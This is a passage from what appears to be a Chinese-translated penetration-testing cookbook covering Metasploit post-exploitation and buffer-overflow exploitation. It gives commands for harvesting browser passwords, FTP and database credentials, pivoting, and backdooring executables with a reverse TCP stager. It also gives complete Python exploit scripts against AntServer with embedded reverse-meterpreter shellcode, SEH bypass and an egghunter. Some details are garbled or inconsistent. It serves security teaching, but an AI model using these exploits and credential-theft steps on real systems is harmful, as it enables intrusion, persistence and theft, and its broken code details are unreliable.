我们看到了选项；现在我们只需要我们的会话，使用以下命令：

set session 1

运行它，我们将看到系统上安装的应用程序列表：

既然我们知道了正在运行的应用程序，让我们试着收集更多信息。

我们将使用post/windows/gather/enum_chrome。

它将收集所有的浏览历史、保存的密码、书签等。再次，我们设置我们的会话并运行这个：

我们将看到所有收集到的数据都已保存在一个 txt 文件中：

现在我们将尝试收集安装在机器上的 FileZilla 服务器（可用于传输文件的 FTP 服务器）的存储配置和凭据。我们将使用该模块：

use post/windows.gather/credentials/filezilla_server

我们设置会话并运行它，然后我们应该看到保存的凭据：

让我们使用另一个后渗透模块来转储数据库密码。我们将使用这个：

use exploit/windows/gather/credentials/mssql_local_hashdump

我们设置会话并使用run -j运行此命令。我们将在屏幕上看到凭据：

进入网络枢纽

一旦我们完全控制了系统中的一台计算机，我们的下一步应该是进入网络并尝试利用和访问尽可能多的机器。在这个示例中，您将学习使用 Metasploit 轻松实现这一点的方法。

如何做...

Metasploit 有一个内置的 meterpreter 脚本，允许我们添加路由并使我们能够使用当前机器攻击网络中的其他机器。这个概念非常简单；我们所要做的就是执行这个命令：

run autoroute –s <IP subnet>

完成后，我们可以简单地利用与我们在之前示例中介绍的相同方法来攻击机器。

持久性的后门

成功利用的一个重要部分是能够保持对受损机器的访问。在这个示例中，您将了解一个称为后门工厂的神奇工具。后门工厂的主要目标是使用我们的 shell 代码修补 Windows/Linux 二进制文件，以便可执行文件正常运行，并在每次执行时执行我们的 shell 代码。

如何做...

Backdoor Factory 已经安装在 Kali 中。可以使用backdoor-factory来运行。要查看此工具的所有功能，我们将使用帮助命令：

backdoor-factory –help

使用这个工具并不太难；但是，建议在部署到目标系统之前对二进制文件进行测试。

要查看要对其进行后门处理的特定二进制文件的可用选项，我们使用以下命令：

backdoor-factory –f <path to binary> -s show

然后我们将使用iat_reverse_tcp_stager_threaded：

backdoor-factory –f <path to binary> -s iat_reverse_tcp_stager_threaded –H <our IP> -P <Port>

接下来，我们选择要用于注入有效载荷的洞穴：

我们的二进制文件已经创建并准备部署。

现在我们需要做的就是运行一个处理程序，它将接受来自我们有效载荷的反向连接：

现在当在受害者机器上执行.exe时，我们将连接到我们的 meterpreter：

第九章：缓冲区溢出

在本章中，我们将涵盖以下内容：

• 利用基于堆栈的缓冲区溢出

• 利用真实软件的缓冲区溢出

• SEH 绕过

• 利用 egg hunters

• ASLR 和 NX 绕过的概述

介绍

在软件程序中，当程序在向缓冲区写入数据时，超出了分配的缓冲区大小，并开始向相邻的内存位置覆盖数据时，就会发生缓冲区溢出。

缓冲区可以被认为是分配给程序的内存中的临时区域，用于在需要时存储和检索数据。

长期以来已知缓冲区溢出已被利用。

在利用缓冲区溢出时，我们的主要关注点是覆盖一些控制信息，以便程序的控制流发生变化，这将允许我们的代码控制程序。

这是一个图表，将给我们一个关于缓冲区溢出发生的基本概念：

从前面的图表中，我们可以假设这就是一个程序的样子。因为它是一个堆栈，它从底部开始，向堆栈的顶部移动。

从前面的图表中，我们还注意到程序有一个固定的缓冲区来存储 16 个字母/字节的数据。

我们首先输入 8 个字符（1 个字符=1 个字节）；在图表的右侧，我们可以看到它们已经被写入程序内存的缓冲区中。

让我们看看当我们向程序写入 20 个字符时会发生什么：

来源：www.cbi.umn.edu/

我们可以看到数据被正确地写入了 16 个字符，但最后的 4 个字符现在已经超出了缓冲区，并覆盖了程序的返回地址中存储的值。这就是经典的缓冲区溢出发生的地方。

让我们看一个实际例子；我们将使用一个示例代码：

#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
int main(int argc, char *argv[]) 
{ 
    char buffer[5]; 
    if (argc < 2) 
        { 
            printf("strcpy() NOT executed....\n"); 
            printf("Syntax: %s <characters>\n", argv[0]); 
            exit(0); 
        } 
    strcpy(buffer, argv[1]); 
    printf("buffer content= %s\n", buffer); 

    // you may want to try strcpy_s() 
    printf("strcpy() executed...\n"); 
    return 0; 
} 

前面的程序简单地在运行时接受一个输入，并将其复制到一个名为buffer的变量中。我们可以看到变量缓冲区的大小设置为5。

现在我们使用这个命令进行编译：

gcc program.c -o program

我们需要小心，因为gcc默认具有内置的安全功能，可以防止缓冲区溢出。

我们使用这个命令运行程序：

./program 1234  

我们看到它已经存储了数据，我们得到了输出。

现在让我们运行这个：

./program 12345   

我们会看到程序以分段错误退出。这是gcc的启用安全功能。

我们将在下一节中更多地了解返回地址。然而，用我们自己的代码覆盖返回地址可以导致程序的行为与通常执行不同，并帮助我们利用这个漏洞。

模糊测试是发现程序中缓冲区溢出最简单的方法。Kali 中有各种模糊测试工具，或者我们可以根据程序类型编写自定义脚本。

一旦模糊测试完成并发生崩溃，我们的下一步是调试程序，找到程序崩溃的确切部分以及如何利用它来获利。

在线也有多个调试器可用。我个人在 Windows 上最喜欢的是 Immunity Debugger（Immunity Inc.）。Kali 也带有一个内置的调试器 GDB。这是一个命令行调试器。

在我们进一步探讨更激动人心的话题之前，请注意通常在程序中会发生两种类型的溢出。

主要有两种类型的缓冲区溢出：

• 基于堆栈的溢出

• 基于堆栈的溢出

我们将在本章的后面更详细地涵盖这些内容。现在，让我们澄清一些基础知识，这将帮助我们利用溢出漏洞。

利用基于堆栈的缓冲区溢出

现在我们的基础知识已经清楚，让我们继续学习基于堆栈的缓冲区溢出的利用。

如何做...

以下步骤演示了基于堆栈的缓冲区溢出：

1. 让我们看另一个简单的 C 程序：

        #include<stdio.h> 
        #include<string.h> 
        void main(int argc, char *argv[]) 
        { 
            char buf[120]; 
            strcpy(buf, argv[1]); 
            printf(buf); 
        }  

这个程序使用了一个有漏洞的方法strcyp()。我们将程序保存到一个文件中。

1. 然后我们使用gcc编译程序，使用fno-stack-protector和execstack：

 gcc -ggdb name.c -o name -fno-stack-protector -z execstack

1. 接下来，我们关闭地址空间随机化：

 echo 0 > /proc/sys/kernel/randomize_va_space

1. 现在我们使用以下命令在gdb中打开我们的程序：

 gdb ./name

以下截图显示了上述命令的输出：

1. 接下来，我们使用 Python 使用以下命令输入我们的输入：

 r $(python -c 'print "A"*124')

以下截图显示了上述命令的输出：

1. 我们可以看到程序崩溃并显示错误0x41414141。这意味着我们输入的字符A覆盖了 EIP。

2. 我们通过输入i r来确认：

1. 这告诉我们 EIP 寄存器的值已经成功被覆盖。

2. 接下来，我们找到覆盖 EIP 的确切字节。我们可以通过在程序中输入不同的字符，然后检查哪个字符覆盖了 EIP 来做到这一点。

3. 因此，我们再次运行程序，这次使用不同的字符：

 r $(python -c 'print "A"*90+"B"*9+"C"*25')

以下截图显示了上述命令的输出：

1. 这一次，我们看到 EIP 的值是CCCC。这意味着我们需要的字节在我们提供的最后 25 个字符中的某个位置。

2. 类似地，我们尝试不同组合的 124 个字符，直到找到确切覆盖 EIP 的 4 个字符的位置：

1. 现在，既然我们已经找到了 EIP 的确切位置，并且为了执行成功的利用，我们需要用我们将存储 shellcode 的内存地址覆盖这 4 个字节。我们的内存中有大约 100 个字节，其中当前存储着A，这对我们的 shellcode 来说已经足够了。因此，我们需要在调试器中添加断点，在跳转到下一条指令之前停下来。

2. 我们使用list 8命令列出程序：

1. 然后我们在调用函数的行和调用后使用b <linenumber>添加我们的断点。

2. 现在我们再次运行程序，它将在断点处停止：

1. 我们按下c以继续。

2. 现在让我们看一下esp（堆栈指针）寄存器：

 x/16x $esp

以下截图显示了上述命令的输出：

1. 这将向我们展示esp寄存器之后的 16 个字节，在左侧列中，我们将看到与存储的数据对应的内存地址。

2. 在这里，我们看到数据从地址0xbffff190开始。我们注意到下一个内存地址0xbfff1a0。这是我们将用来写入 EIP 的地址。当程序覆盖 EIP 时，它将使其跳转到这个地址，我们的 shellcode 将存储在这里：

1. 让我们尝试通过利用溢出来打开一个 shell。我们可以在 Google 上找到将为我们执行 shell 的 shellcode：

1. 我们有 100 个字节，我们的 shellcode 是 24 个字节。我们可以在我们的利用中使用这个。

2. 现在我们简单地用90 no op 汇编指令（0x90）替换A，并用 shellcode 替换其余的 24 个字节，然后用我们希望 EIP 指向的内存地址替换B，用 no op 代码替换C。这应该看起来像这样：

 "\x90"*76+"\x6a\x0bx58x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\
        x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"
        +"\xa0\xff\xf1\xbf"+"\x90"*20

1. 让我们重新运行程序并将其作为输入：

 r $(python -c print' "\x90"*76+"\x6a\x0bx58x31\xf6\x56\x68\
        x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\
        xcd\x80"+"\xa0\xff\xf1\xbf"+"\x90"*20')

1. 我们输入c以从断点继续，一旦执行完成，我们的 shell 就会被执行。

利用真实软件的缓冲区溢出

您之前已经学习了利用的基础知识。现在让我们尝试在一些早已被利用并且有公开利用的软件上进行尝试。在这个示例中，您将了解旧软件的公开利用以及为其创建自己版本的利用。

在开始之前，我们需要一个旧版本的 Windows 操作系统（最好是 Windows XP）和一个 Windows 调试器。我使用了 Immunity Debugger 和一个已知的缓冲区溢出漏洞的旧软件。我们将使用Easy RM to MP3 Converter。这个版本在播放大型 M3U 文件时存在缓冲区溢出漏洞。

准备工作

Immunity Debugger 的免费版本可以在www.immunityinc.com/products/debugger/上下载。

如何做...

按照给定的步骤来学习：

1. 接下来，我们下载并在机器上安装我们的 MP3 转换器。

2. 这个转换器在播放 M3U 文件时存在漏洞。当使用它打开一个大文件进行转换时，软件会崩溃。

3. 让我们创建一个文件，里面写入大约 30,000 个A，并将其保存为<filename>.m3u：

1. 然后，我们将文件拖放到播放器中，我们会看到它崩溃了：

1. 现在我们需要找到导致崩溃的确切字节数。

2. 在文件中手动输入这么多A将会花费很长时间，所以我们写一个简单的 Python 程序来代替我们做这件事：

        import io
        a="A"*30000
        file =open("crash.m3u","w")
        file.write(a)
        file.close()

1. 现在我们玩弄字节，找到崩溃的确切值。

2. 在我们的情况下，由于程序在 26,104 字节处没有崩溃，所以它的长度是 26,105：

1. 现在，我们运行我们的调试器，并通过导航到 File | Attach 将正在运行的转换程序附加到它：

1. 然后，我们从正在运行的程序列表中选择进程名称：

1. 一旦附加成功，我们就在程序中打开我们的 M3U 文件。我们将在调试器的状态栏中看到一个警告。我们只需按下F9键或点击顶部菜单栏上的播放按钮继续：

1. 我们会看到 EIP 被A覆盖，并且程序崩溃了：

1. 现在我们需要找到导致崩溃的确切 4 个字节。我们将使用 Kali 中称为pattern create的脚本。它会为我们想要的字节数生成一个唯一的模式。

2. 我们可以使用 locate 命令找到脚本的路径：

 locate pattern_create

以下截图显示了前面命令的输出：

1. 现在我们知道了路径，我们运行脚本并传递字节数：

 ruby /path/to/script/pattern_create.rb 5000

1. 我们使用 5,000 是因为我们已经知道它不会在 25,000 处崩溃，所以我们只为接下来的 5,000 字节创建一个模式。

2. 我们有了我们的唯一模式。我们现在将其粘贴到我们的 M3U 文件中，再加上 25,000 个A。

3. 我们打开我们的应用程序，并将进程附加到我们的调试器上：

1. 然后我们将我们的 M3U 文件拖放到程序中。

2. 它崩溃了，我们的 EIP 被 42386b42 覆盖了。

3. Metasploit 有另一个很棒的脚本来找到偏移的位置：

 ruby /path/to/script/pattern_offset.rb 5000

1. 现在我们在1104处找到了偏移匹配；将其加到 25,000 个A上，我们现在知道 EIP 在 26,104 字节后被覆盖：

1. 接下来，我们需要找到一个可靠的方法来跳转到 shellcode。我们通过在 EIP 之后简单地写入额外的随机字符到堆栈中，确保我们写入的 shellcode 将被正确地写入内存。

2. 我们运行程序，将其附加到调试器，并让它崩溃。

3. 我们将看到 EIP 已经成功被覆盖。在右下角的窗口中，我们右键单击并选择 Go to ESP：

1. 在这里，我们注意到 ESP 实际上是从第 5 个字节开始的。为了确保我们的 shellcode 能够正确执行，我们现在需要确保 shellcode 在 4 个字节之后开始。我们可以插入四个 NOP 来修复这个问题：

1. 由于我们控制了 EIP，有多种方法可以执行我们的 shellcode，我们将在这里介绍其中两种。第一种方法很简单：我们在代码中找到jmp esp指令并用它覆盖地址。要做到这一点，我们右键单击并导航到搜索 | 所有模块中的所有命令：

1. 我们输入jmp esp指令：

1. 在结果框中，我们看到我们的指令，并复制地址用于我们的利用。

1. 现在让我们编写一个利用。基本概念将是垃圾字节 + 跳转 ESP 的地址 + NOP 字节 + Shellcode：

1. 我们可以生成计算器的 shellcode：

 msfvenom windows/exec CMD=calc.exe R | msfencode -b
        '\x00\x0A\x0D' -t c

1. 现在我们运行利用，当程序崩溃时，我们应该看到计算器打开！

1. 让我们尝试另一种方法；假设没有jmp esps 可供我们使用。在这种情况下，我们可以使用push esp，然后使用ret指令，它将将指针移动到堆栈的顶部，然后调用esp。

2. 我们遵循相同的步骤直到步骤 25。然后，我们右键单击并转到搜索 | 所有模块中的所有序列。

3. 在这里，我们输入push esp ret：

1. 在结果中，我们看到地址中有序列：018F1D88。

2. 现在我们只需用我们的利用代码中的 EIP 地址替换它并运行利用，我们应该打开一个计算器：

SEH 绕过

在开始之前，我们需要了解 SEH 是什么。SEH代表结构化异常处理。我们可能经常看到程序弹出一个错误，说软件遇到问题需要关闭。这基本上意味着 Windows 的默认异常处理程序开始起作用。

SEH 处理程序可以被认为是在程序中出现异常时按顺序执行的try和catch语句块。这是典型的 SEH 链的样子：

www.corelan.be/wp-content/…

当发生异常时，SEH 链会出手处理异常，根据其类型处理异常。

因此，当发生非法指令时，应用程序有机会处理异常。如果应用程序中没有定义异常处理程序，我们将看到 Windows 显示的错误：类似于发送报告给 Microsoft。

要成功利用具有 SEH 处理程序的程序，我们首先尝试用我们的缓冲区填充堆栈，然后尝试覆盖存储第一个 SEH 记录链的内存地址。然而，这还不够；我们还需要生成一个错误，这将实际触发 SEH 处理程序，然后我们将能够完全控制程序的执行流程。一个简单的方法是一直填充堆栈，直到底部，这将创建一个需要处理的异常，而且由于我们已经控制了第一个 SEH 记录，我们将能够利用它。

如何做到...

在这个教程中，您将学习如何做到这一点：

1. 让我们下载一个名为 AntServer 的程序。它有很多公开的漏洞利用可用，我们将尝试为其构建我们自己的利用。

2. 我们将其安装在我们在上一个教程中使用的 Windows XP SP2 机器上。

3. AntServer 存在一个漏洞，可以通过向运行在端口6600上的 AntServer 发送一个长的 USV 请求来触发：

1. 让我们通过打开软件并导航到服务器 | 运行服务控制...来运行 AntServer：

1. 现在让我们编写一个简单的 Python 脚本，将一个大请求发送到端口6600的服务器：

        #!/usr/bin/pythonimport socket
        import socket
        address="192.168.110.6"
        port=6660    
        buffer = "USV " + "\x41" * 2500 + "\r\n\r\n"
        sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=sock.connect((address, port))
        sock.send(buffer)
        sock.close()

1. 回到 Windows 机器，让我们启动 Immunity Debugger 并将进程AntServer.exe附加到它上。然后，点击Run。

2. 一旦程序运行，我们从 Kali 运行我们的 Python 脚本，在我们的调试器中，我们会看到一个违规错误。然而，我们的 EIP 还没有被覆盖：

1. 在调试器的文件菜单中，我们转到查看| SEH 链。在这里，我们会看到地址已被AAAA覆盖。现在我们按Shift+ F9将一个异常传递给程序。我们会看到 EIP 已经被覆盖，并且我们会收到一个错误：

1. 我们还会注意到其他寄存器的值现在已经变为零。这种寄存器清零是在 Windows XP SP1 及以后引入的，以使 SEH 利用变得更加困难。

2. 我们正在使用 Windows XP SP2。它有一个名为SAFESEH的功能。当这个选项在模块中启用时，只有注册的 SEH 处理程序列表中列出的内存地址才能被使用，这意味着如果我们使用任何不在列表上的地址，来自使用/SAFESEH ON编译的模块，SEH 地址将不会被 Windows 异常处理程序使用，SEH 覆盖将失败。

3. 有几种方法可以绕过这个问题，这是其中一种：使用一个没有使用/SAFESEH ON或IMAGE_DLLCHARACTERISTICS_NO_SEH选项编译的模块的覆盖地址。

4. 为了找到这个，我们将使用一个名为mona的 Immunity Debugger 插件。它可以从github.com/corelan/mona下载：

1. 我们只需将 Python 文件复制到 Immunity 应用程序的PyCommands文件夹中。

2. 让我们继续制作利用程序。我们已经看到 EIP 已经被覆盖。现在我们将尝试使用 Kali Linux 中的模式创建脚本找到崩溃发生的确切字节：

 ruby /path/to/script/pattern_create.rb -l 2500

以下截图显示了前面命令的输出：

1. 代码应该是这样的：

1. 现在我们运行这个文件，在 Immunity Debugger 中，我们会看到访问违规错误。现在我们去查看| SEH 链。

2. 我们会看到我们的 SEH 已经被覆盖了。我们复制42326742的值，并使用 Kali 中的pattern_offset脚本找到它的位置：

 ruby /path/to/script/pattern_offset.rb -q 423267412

以下截图显示了前面命令的输出：

1. 我们会看到偏移量为966字节，处理程序被覆盖的位置。

2. 现在让我们稍微修改我们的利用程序，看看会发生什么。我们有966字节；我们将使用962字节的 A 和 4 字节的断点，再用 4 个 B，剩下的字节用 C 来看看会发生什么：

        #!/usr/bin/python
        import socket address="192.168.110.12"
        port=6660 buffer = "USV "
        buffer+= "A" * 962
        buffer+= "\xcc\xcc\xcc\xcc"
        buffer+= "BBBB"
        buffer+= "C" * (2504 - len(buffer))
        buffer+= "\r\n\r\n"
        sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=sock.connect((target_address,target_port)) 
        sock.send(buffer)
        sock.close()

1. 我们运行这个并查看 SEH 链。在这里，我们会注意到一个有趣的事情：我们添加的前 4 个断点实际上已经覆盖了一个内存地址，接下来的 4 个已经被覆盖到我们的 SEH 处理程序中：

这是因为 SEH 是一个指针，指向发生异常时代码存储的内存地址。

1. 让我们将异常传递给程序，我们会看到 EIP 已经被覆盖，但当我们查看内存时，我们会看到我们的 Cs 在内存中的 Bs 之后大约写入了 6 个字节。我们可以使用POP RET后跟一个短的JUMP代码来跳转到我们的 shellcode。

2. 我们在调试器的控制台中输入!safeseh命令：

1. 这将显示所有未使用SAFESEH/ON编译的 DLL 的列表。在日志窗口中，我们将看到函数的列表：

1. 让我们使用一个名为vbajet32.dll的 DLL。我们的目标是在 DLL 中找到一个POP POP RET序列，我们可以用它来绕过 SEH。

2. 我们在 Windows 机器上找到我们的 DLL 并将其复制到 Kali。Kali 还有另一个很棒的工具，称为msfpescan，可以用来在 DLL 中查找POP POP RET序列：

 /path/to/msfpescan -f vbajet32.dll -s

以下屏幕截图显示了前面命令的输出：

1. 在这里，我们有所有.dll中POP POP RET序列的地址。我们将使用第一个0x0f9a1f0b。我们还需要一个短的JUMP代码，它将导致跳转到我们的 shellcode 或存储在内存中的 Cs。

2. 短JUMP是\xeb\x06，其中06是我们需要跳转的字节数。我们仍然缺少 4 字节地址空间的 2 个字节，我们可以使用 2 个 NOPs。

3. 让我们创建一个 shellcode；因为我们将通过 HTTP 发送这个 shellcode，所以我们需要确保避免坏字符。我们将使用 msfvenom：

 msfvenom -p windows/meterpreter/reverse_tcp -f py
        -b "\x00\xff\x20\x25\x0a\x-d" -v buffer

以下屏幕截图显示了前面命令的输出：

1. 我们将把所有东西放在利用中，如下所示：

        #!/usr/bin/python
        import socket
        target_address="192.168.110.12"
        target_port=6660
        buffer = "USV "
        buffer += "\x41" * 962 #offset
        # 6 Bytes SHORT jump to shellcode
        buffer += "\xeb\x06\x90\x90"
        # POP+POP+RET 0x0f9a196a
        buffer += "\x6a\x19\x9a\x0f"
        buffer += "\x90" * 16
        #Shellcode Reverse meterpreter.
        buffer += "\xdb\xde\xd9\x74\x24\xf4\xbf\xcf\x9f\xb1\x9a\x5e"
        buffer += "\x31\xc9\xb1\x54\x83\xee\xfc\x31\x7e\x14\x03\x7e"
        buffer += "\xdb\x7d\x44\x66\x0b\x03\xa7\x97\xcb\x64\x21\x72"
        buffer += "\xfa\xa4\x55\xf6\xac\x14\x1d\x5a\x40\xde\x73\x4f"
        buffer += "\xd3\x92\x5b\x60\x54\x18\xba\x4f\x65\x31\xfe\xce"
        buffer += "\xe5\x48\xd3\x30\xd4\x82\x26\x30\x11\xfe\xcb\x60"
        buffer += "\xca\x74\x79\x95\x7f\xc0\x42\x1e\x33\xc4\xc2\xc3"
        buffer += "\x83\xe7\xe3\x55\x98\xb1\x23\x57\x4d\xca\x6d\x4f"
        buffer += "\x92\xf7\x24\xe4\x60\x83\xb6\x2c\xb9\x6c\x14\x11"
        buffer += "\x76\x9f\x64\x55\xb0\x40\x13\xaf\xc3\xfd\x24\x74"
        buffer += "\xbe\xd9\xa1\x6f\x18\xa9\x12\x54\x99\x7e\xc4\x1f"
        buffer += "\x95\xcb\x82\x78\xb9\xca\x47\xf3\xc5\x47\x66\xd4"
        buffer += "\x4c\x13\x4d\xf0\x15\xc7\xec\xa1\xf3\xa6\x11\xb1"
        buffer += "\x5c\x16\xb4\xb9\x70\x43\xc5\xe3\x1c\xa0\xe4\x1b"
        buffer += "\xdc\xae\x7f\x6f\xee\x71\xd4\xe7\x42\xf9\xf2\xf0"
        buffer += "\xa5\xd0\x43\x6e\x58\xdb\xb3\xa6\x9e\x8f\xe3\xd0"
        buffer += "\x37\xb0\x6f\x21\xb8\x65\x05\x24\x2e\x46\x72\x48"
        buffer += "\xa5\x2e\x81\x95\xa8\xf2\x0c\x73\x9a\x5a\x5f\x2c"
        buffer += "\x5a\x0b\x1f\x9c\x32\x41\x90\xc3\x22\x6a\x7a\x6c"
        buffer += "\xc8\x85\xd3\xc4\x64\x3f\x7e\x9e\x15\xc0\x54\xda"
        buffer += "\x15\x4a\x5d\x1a\xdb\xbb\x14\x08\x0b\xda\xd6\xd0"
        buffer += "\xcb\x77\xd7\xba\xcf\xd1\x80\x52\xcd\x04\xe6\xfc"
        buffer += "\x2e\x63\x74\xfa\xd0\xf2\x4d\x70\xe6\x60\xf2\xee"
        buffer += "\x06\x65\xf2\xee\x50\xef\xf2\x86\x04\x4b\xa1\xb3"
        buffer += "\x4b\x46\xd5\x6f\xd9\x69\x8c\xdc\x4a\x02\x32\x3a"
        buffer += "\xbc\x8d\xcd\x69\xbf\xca\x32\xef\x9d\x72\x5b\x0f"
        buffer += "\xa1\x82\x9b\x65\x21\xd3\xf3\x72\x0e\xdc\x33\x7a"
        buffer += "\x85\xb5\x5b\xf1\x4b\x77\xfd\x06\x46\xd9\xa3\x07"
        buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
        buffer += "\xf1\xf7\xb0\x12\x48\x55\x90\xb8\xb2\xc9\xe2\xe8"
        # NOP SLED
        buffer += "\x90" * (2504 - len(buffer))
        buffer += "\r\n\r\n"
        sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=sock.connect((target_address,target_port))
        sock.send(buffer)
        print "Sent!!"
        sock.close()

以下屏幕截图显示了前面命令的输出：

1. 这次我们不使用调试器运行。我们将在 Kali 中打开我们的处理程序，然后我们应该有 meterpreter 访问：

另请参阅

• www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/

• resources.infosecinstitute.com/bypassing-seh-protection-a-real-life-example/

利用蛋猎手

当内存中没有足够的空间连续放置我们的 shellcode 时，就会使用蛋猎手。使用这种技术，我们在我们的 shellcode 前面加上一个唯一的标签，然后蛋猎手基本上会在内存中搜索该标签并执行 shellcode。

蛋猎手包含一组编程指令；它与 shellcode 并没有太大的不同。有多种蛋猎手可用。您可以通过 skape 的这篇论文了解更多关于它们以及它们如何工作的信息：www.hick.org/code/skape/papers/egghunt-shellcode.pdf。

准备工作

我们将尝试使用一个蛋猎手为我们在上一个教程中使用的相同软件制作一个漏洞利用。利用的逻辑将类似于以下图表所示的内容：

我们的目标是覆盖nSEH，然后SEH，以便它跳转到蛋猎手 shellcode，当执行时，将在内存中找到并执行我们的 shellcode。

如何做...

以下是演示使用蛋猎手的步骤：

1. 我们在 Windows XP 上启动软件并将其附加到调试器：

1. 我们已经知道了崩溃字节和绕过 SAFESEH 的地址。

2. 现在我们需要添加我们的蛋猎手，然后使用它来跳转到我们的 shellcode。

3. 正如我们所知，蛋猎手是一种 shellcode，使用 shellcode 的基本规则是确保它没有任何坏字符。

4. 让我们看看我们之前制作的漏洞利用：

        #!/usr/bin/python
        import socket
        target_address="192.168.110.12"
        target_port=6660
        buffer = "USV "
        buffer += "\x41" * 962 #offset
        # 6 Bytes SHORT jump to shellcode
        buffer += "\xeb\x06\x90\x90"
        # POP+POP+RET 0x0f9a196a
        buffer += "\x6a\x19\x9a\x0f"
        buffer += "\x90" * 16
        #Shellcode Reverse meterpreter.
        buffer += "\xdb\xde\xd9\x74\x24\xf4\xbf\xcf\x9f\xb1\x9a\x5e"
        buffer += "\x31\xc9\xb1\x54\x83\xee\xfc\x31\x7e\x14\x03\x7e"
        buffer += "\xdb\x7d\x44\x66\x0b\x03\xa7\x97\xcb\x64\x21\x72" 
        buffer += "\xfa\xa4\x55\xf6\xac\x14\x1d\x5a\x40\xde\x73\x4f"
        buffer += "\xd3\x92\x5b\x60\x54\x18\xba\x4f\x65\x31\xfe\xce"
        buffer += "\xe5\x48\xd3\x30\xd4\x82\x26\x30\x11\xfe\xcb\x60"
        buffer += "\xca\x74\x79\x95\x7f\xc0\x42\x1e\x33\xc4\xc2\xc3"
        buffer += "\x83\xe7\xe3\x55\x98\xb1\x23\x57\x4d\xca\x6d\x4f"
        buffer += "\x92\xf7\x24\xe4\x60\x83\xb6\x2c\xb9\x6c\x14\x11"
        buffer += "\x76\x9f\x64\x55\xb0\x40\x13\xaf\xc3\xfd\x24\x74"
        buffer += "\xbe\xd9\xa1\x6f\x18\xa9\x12\x54\x99\x7e\xc4\x1f"
        buffer += "\x95\xcb\x82\x78\xb9\xca\x47\xf3\xc5\x47\x66\xd4"
        buffer += "\x4c\x13\x4d\xf0\x15\xc7\xec\xa1\xf3\xa6\x11\xb1" 
        buffer += "\x5c\x16\xb4\xb9\x70\x43\xc5\xe3\x1c\xa0\xe4\x1b"
        buffer += "\xdc\xae\x7f\x6f\xee\x71\xd4\xe7\x42\xf9\xf2\xf0"
        buffer += "\xa5\xd0\x43\x6e\x58\xdb\xb3\xa6\x9e\x8f\xe3\xd0"
        buffer += "\x37\xb0\x6f\x21\xb8\x65\x05\x24\x2e\x46\x72\x48"
        buffer += "\xa5\x2e\x81\x95\xa8\xf2\x0c\x73\x9a\x5a\x5f\x2c"
        buffer += "\x5a\x0b\x1f\x9c\x32\x41\x90\xc3\x22\x6a\x7a\x6c"
        buffer += "\xc8\x85\xd3\xc4\x64\x3f\x7e\x9e\x15\xc0\x54\xda"
        buffer += "\x15\x4a\x5d\x1a\xdb\xbb\x14\x08\x0b\xda\xd6\xd0"
        buffer += "\xcb\x77\xd7\xba\xcf\xd1\x80\x52\xcd\x04\xe6\xfc"
        buffer += "\x2e\x63\x74\xfa\xd0\xf2\x4d\x70\xe6\x60\xf2\xee"
        buffer += "\x06\x65\xf2\xee\x50\xef\xf2\x86\x04\x4b\xa1\xb3"
        buffer += "\x4b\x46\xd5\x6f\xd9\x69\x8c\xdc\x4a\x02\x32\x3a"
        buffer += "\xbc\x8d\xcd\x69\xbf\xca\x32\xef\x9d\x72\x5b\x0f"
        buffer += "\xa1\x82\x9b\x65\x21\xd3\xf3\x72\x0e\xdc\x33\x7a"
        buffer += "\x85\xb5\x5b\xf1\x4b\x77\xfd\x06\x46\xd9\xa3\x07"
        buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
        buffer += "\xf1\xf7\xb0\x12\x48\x55\x90\xb8\xb2\xc9\xe2\xe8"
        # NOP SLED
        buffer += "\x90" * (2504 - len(buffer))
        buffer += "\r\n\r\n"
        sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=sock.connect((target_address,target_port))
        sock.send(buffer)
        print "Sent!!"
        sock.close()

1. 假设 shellcode 实际上并不在我们在内存中制作的 6 字节跳转之后。在这种情况下，我们可以使用蛋猎手为软件制作一个可靠的利用。

2. 现在听起来可能很容易，但也有一些复杂之处。我们需要我们的最终利用程序遵循我们在图表中提到的流程，但我们还需要确保代码中有足够的 NOPs 来确保利用。

3. 我们的利用流程应该如下所示，就像我们的情况一样，我们有足够的内存来存放 shellcode。但在其他情况下，我们可能没有那么多内存，或者我们的 shellcode 可能存储在内存的其他地方。在这些情况下，我们可以使用蛋猎手，我们将在后面的教程中介绍：

1. 根据前面的流程图，我们的 shellcode 看起来应该是这样的：

        #!/usr/bin/python
        import socket
        target_address="192.168.110.12"
        target_port=6660
        #Egghunter Shellcode 32 bytes
        egghunter = ""
        egghunter += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\
          x2e\x3c\x05\x5a\x74"
        egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf
          \x75\xe7\xff\xe7"
        # 6 Bytes SHORT jump to shellcode
        nseh = "\xeb\x09\x90\x90"
        # POP+POP+RET 0x0f9a196a
        seh = "\x6a\x19\x9a\x0f"
        #Shellcode Reverse meterpreter. 360 bytes
        buffer = ""
        buffer += "\xdb\xde\xd9\x74\x24\xf4\xbf\xcf\x9f\xb1\x9a\x5e"
        buffer += "\x31\xc9\xb1\x54\x83\xee\xfc\x31\x7e\x14\x03\x7e"
        buffer += "\xdb\x7d\x44\x66\x0b\x03\xa7\x97\xcb\x64\x21\x72"
        buffer += "\xfa\xa4\x55\xf6\xac\x14\x1d\x5a\x40\xde\x73\x4f"
        buffer += "\xd3\x92\x5b\x60\x54\x18\xba\x4f\x65\x31\xfe\xce"
        buffer += "\xe5\x48\xd3\x30\xd4\x82\x26\x30\x11\xfe\xcb\x60"
        buffer += "\xca\x74\x79\x95\x7f\xc0\x42\x1e\x33\xc4\xc2\xc3"
        buffer += "\x83\xe7\xe3\x55\x98\xb1\x23\x57\x4d\xca\x6d\x4f"
        buffer += "\x92\xf7\x24\xe4\x60\x83\xb6\x2c\xb9\x6c\x14\x11"
        buffer += "\x76\x9f\x64\x55\xb0\x40\x13\xaf\xc3\xfd\x24\x74"
